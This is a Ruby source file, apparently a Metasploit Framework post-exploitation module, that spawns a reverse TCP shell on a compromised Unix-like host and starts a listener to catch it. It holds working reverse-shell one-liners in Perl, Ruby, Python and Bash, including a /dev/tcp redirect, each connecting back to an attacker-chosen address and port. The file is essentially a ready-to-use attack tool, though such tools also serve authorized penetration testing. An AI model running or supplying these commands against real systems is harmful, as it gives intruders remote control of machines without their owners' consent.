##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'

class Metasploit3 < Msf::Post

	include Msf::Post::Common

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Multi Manage System Remote TCP Shell Session',
				'Description'   => %q{
					This module will create a Reverse TCP Shell on the target system
					using the system own scripting enviroments installed on the
					target.
				},
				'License'       => MSF_LICENSE,
				'Author'        => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
				'Platform'      => [ 'unix', 'osx', 'linux'],
				'SessionTypes'  => [ 'meterpreter','shell' ]
			))
		register_options(
			[
				OptAddress.new('LHOST',
					[true, 'IP of host that will receive the connection from the payload.']),
				OptInt.new('LPORT',
					[false, 'Port for Payload to connect to.', 4433]),
				OptBool.new('HANDLER',
					[ true, 'Start an Exploit Multi Handler to receive the connection', false]),
				OptEnum.new('TYPE', [true, 'Scripting environment on target to use for reverse shell',
					'auto', ['auto','ruby','python','perl','bash']])
			], self.class)
	end

	# Run Method for when run command is issued
	def run
		create_multihand(datastore['LHOST'],datastore['LPORT']) if datastore['HANDLER']
		lhost = datastore['LHOST']
		lport = datastore['LPORT']
		cmd = ""

		begin
			case datastore['TYPE']
			when /auto/i
				cmd = auto_create_session(lhost,lport)
			when /ruby/i
				cmd = ruby_session(lhost,lport)
			when /python/i
				cmd = python_session(lhost,lport)
			when /perl/i
				cmd = perl_session(lhost,lport)
			when /bash/i
				cmd = bash_session(lhost,lport)
			end
		rescue
		end

		if not cmd.empty?
			print_status("Executing reverse tcp shel to #{lhost} on port #{lport}")
			session.shell_command_token("(#{cmd} &)")
		end
	end

	# Runs a reverse tcp shell with the scripting environment found
	def auto_create_session(lhost,lport)
		cmd = ""

		if cmd_exec("perl -v") =~ /Larry/
			print_status("Perl was found on target")
			cmd = perl_session(lhost,lport)
			vprint_status("Running #{cmd}")

		elsif cmd_exec("ruby -v") =~ /revision/i
			print_status("Ruby was found on target")
			cmd = ruby_session(lhost,lport)
			vprint_status("Running #{cmd}")

		elsif cmd_exec("python -V") =~ /Python 2\.(\d)/
			print_status("Python was found on target")
			cmd = python_session(lhost,lport)
			vprint_status("Running #{cmd}")

		elsif cmd_exec("bash --version") =~ /GNU bash/
			print_status("Bash was found on target")
			cmd = bash_session(lhost,lport)
			vprint_status("Running #{cmd}")
		else
			print_error("No scripting environment found with which to create a remote reverse TCP Shell with.")
		end

		return cmd
	end

	# Method for checking if a listner for a given IP and port is present
	# will return true if a conflict exists and false if none is found
	def check_for_listner(lhost,lport)
		conflict = false
		client.framework.jobs.each do |k,j|
			if j.name =~ / multi\/handler/
				current_id = j.jid
				current_lhost = j.ctx[0].datastore["LHOST"]
				current_lport = j.ctx[0].datastore["LPORT"]
				if lhost == current_lhost and lport == current_lport.to_i
					print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
					conflict = true
				end
			end
		end
		return conflict
	end

	# Starts a multi/handler session
	def create_multihand(lhost,lport)
		pay = client.framework.payloads.create("generic/shell_reverse_tcp")
		pay.datastore['LHOST'] = lhost
		pay.datastore['LPORT'] = lport
		print_status("Starting exploit multi handler")
		if not check_for_listner(lhost,lport)
			# Set options for module
			mul = client.framework.exploits.create("multi/handler")
			mul.share_datastore(pay.datastore)
			mul.datastore['WORKSPACE'] = client.workspace
			mul.datastore['PAYLOAD'] = "generic/shell_reverse_tcp"
			mul.datastore['EXITFUNC'] = 'thread'
			mul.datastore['ExitOnSession'] = false
			# Validate module options
			mul.options.validate(mul.datastore)
			# Execute showing output
			mul.exploit_simple(
					'Payload'     => mul.datastore['PAYLOAD'],
					'LocalInput'  => self.user_input,
					'LocalOutput' => self.user_output,
					'RunAsJob'    => true
				)
		else
			print_error("Could not start handler!")
			print_error("A job is listening on the same Port")
		end
	end

	# Perl reverse TCP Shell
	def perl_session(lhost,lport)
		if cmd_exec("perl -v") =~ /Larry/
			print_status("Perl reverse shell selected")
			cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET " +
				"(PeerAddr,\"#{lhost}:#{lport}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
		else
			print_error("No scripting environment found for the selected type.")
			cmd =""
		end
		return cmd
	end

	# Ruby reverse TCP Shell
	def ruby_session(lhost,lport)
		if cmd_exec("ruby -v") =~ /revision/i
			print_status("Ruby reverse shell selected")
			return "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{lport}\");" +
				"while(cmd=c.gets);begin;IO.popen(cmd,\"r\"){|io|c.print io.read};rescue;end;end'"
		else
			print_error("No scripting environment found for the selected type.")
			cmd =""
		end
		return cmd
	end

	# Python reverse TCP Shell
	def python_session(lhost,lport)
		if cmd_exec("python -V") =~ /Python 2\.(\d)/
			print_status("Python reverse shell selected")
			return "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET," +
				"socket.SOCK_STREAM);s.connect((\"#{lhost}\",#{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);" +
				"os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
		else
			print_error("No scripting environment found for the selected type.")
			cmd =""
		end
		return cmd
	end

	# Bash reverse TCP Shell
	def bash_session(lhost,lport)
		if cmd_exec("bash --version") =~ /GNU bash/
			print_status("Bash reverse shell selected")
			return "bash -c 'nohup bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"
		else
			print_error("No scripting environment found for the selected type.")
			cmd =""
		end
		return cmd
	end
end
